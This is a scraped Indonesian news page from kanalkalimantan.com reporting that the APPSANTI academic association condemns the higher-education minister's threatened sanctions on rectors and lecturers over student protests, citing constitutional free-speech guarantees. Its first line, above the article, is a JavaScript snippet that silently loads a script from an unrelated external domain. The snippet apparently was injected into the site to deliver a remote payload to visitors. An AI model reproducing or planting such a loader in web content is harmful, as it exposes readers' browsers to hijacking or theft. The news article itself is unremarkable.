(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pendidikan

APPSANTI: Beri Sanksi ke Rektor dan Dosen, Menristekdikti Nodai Nilai Demokrasi


BANJARMASIN, Asosiasi Program Studi Pendidikan Sosiologi dan Antropologi Indonesia (APPSANTI) mengatakan bahwa Menristekdikti keliru menyikapi demonstrasi mahasiswa dengan memberi sanksi kepada rektor dan dosen.

Seorang dosen Antropologi ULM yang juga merupakan bagian dari APPSANTI, Nasrullah, mengatakan bahwa dari APPSANTI sendiri menyatakan Indonesia sejak kemerdekaanya memilih jalan sebagai negara demokrasi. Maka demonstrasi atau menyatakan pendapat dimuka umum adalah tidak bertentangan dengan prinsip-prinsip negara Demokrasi.

APPSANTI juga membeberkan beberapa literatur teoritik tentang Demokrasi di antaranya yang ditulis oleh Henry B Mayo dalam bukunya An introduction to democratic theory (1960), S.P Varma dalam Modern Political Throry (1999), Robert Dahl dalam On Democracy (1998), dan ilmuwan lainya hingga profesor politik Indonesia Miriam Budiarjo dalam Dasar-Dasar Ilmu Politik (2010).

“Maka pernyataan Menristekdikti telah menodai nilai-nilai Demokrasi,” ujar rilis APPSANTI yang diberikan langsung oleh Nasrullah kepada kanalkalimantan.com.

Ditekankan juga bahwa dalam konstitusi UUD 1945 secara jelas menyebutkan bahwa kedaulatan berada ditangan rakyat. Itu artinya Indonesia adalah negara Demokrasi. Dalam batang tubuh UUD 1945 pasal 28E ayat (3) dinyatakan dengan tegas bahwa setiap orang berhak atas kebebasan berserikat, berkumpul, dan mengeluarkan pendapat.

Oleh karena itu demonstrasi mahasiswa justru dijamin oleh konstitusi UUD 1945. Menristekdikti mestinya memberi contoh bagaimana menyatakan pendapat melalui demonstrasi itu dijamin UUD 1945 bukan malah bertindak seperti pejabat kolonial yang pikiranya terlihat sangat polisionil, sedikit-sedikit sanksi.

Kemudian, APPSANTI yang diketuai oleh Ubedilah Badrum, seorang dosen Sosiologi Politik UNJ, mendesak Menristekdikti untuk mencabut pernyataannya karena bertentangan dengan prinsip Universitas yang memegang teguh Academic Freedom (Kebebasan akademik). Di mana dalam kebebasan akademik dijamin untuk menyampaikan pendapat dan menunjukkan sikap kritis dimuka umum demi kepentingan umum, kepentingan masa depan bangsa, kepentingan Indonesia.

Sebelumnya, Menristekdikti M Nasir seusai bertemu Presiden Jokowi di Istana Kepresidenan pada Kamis (26/9), menyampaikan akan ada sanksi bagi rektor yang ketahuan menggerakkan aksi mahasiswa. Sementara dosen yang ketahuan menggerakkan aksi Menristek mempersilahkan rektor memberi sanksi dengan mengatakan sanksinya akan keras berupa SP1, SP2. Bahkan tindakan hukum.(mario)

Reporter : mario
Editor : chell

 


Desy Arfianty

Recent Posts

Jalan Pangeran Suriansyah Banjarbaru Steril PKL dan Parkir Tepi Jalan

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas Pedagang Kaki Lima alias PKL di sepanjang jalan Pangeran Suriansyah, Kelurahan… Read More

51 menit ago

Wapres Serahkan Motor Perpustakaan Keliling ke Pemkab HSU

KANALKALIMANTAN.COM, JAKARTA - Wakil Presiden RI, KH Ma’ruf Amin secara simbolis menyerahkan bantuan Motor Perpustakaan… Read More

2 jam ago

Hari Museum Internasional 2024 “Museum untuk Pendidikan dan Penelitian”

KANALKALIMANTAN.COM - Hari Museum Internasional yang ditetapkan oleh ICOM dan dirayakan setiap tahun pada tanggal… Read More

14 jam ago

Masrumi dari Desa Sungai Namang HSU Raih Prestasi Nasional

KANALKALIMANTAN.COM, SOLO – Masrumi, guru honorer asal Desa Sungai Namang, Kecamatan Danau Panggang, Kabupaten Hulu… Read More

14 jam ago

Pemkab HSU Gelar Upacara HUT ke-75 Proklamasi ALRI Divisi IV Kalimantan

KANALKALIMANTAN.COM, AMUNTAI - Memperingati HUT ke-75 Proklamasi Pemerintahan Gubernur Tentara ALRI Divisi lV Pertahanan Kalimatan,… Read More

15 jam ago

Mantan Karyawan BPR Candi Agung Amuntai Dituntut 7 Tahun

Selewengkan Dana Nasabah, Rugikan Negara Rp779 Juta Read More

15 jam ago

This website uses cookies.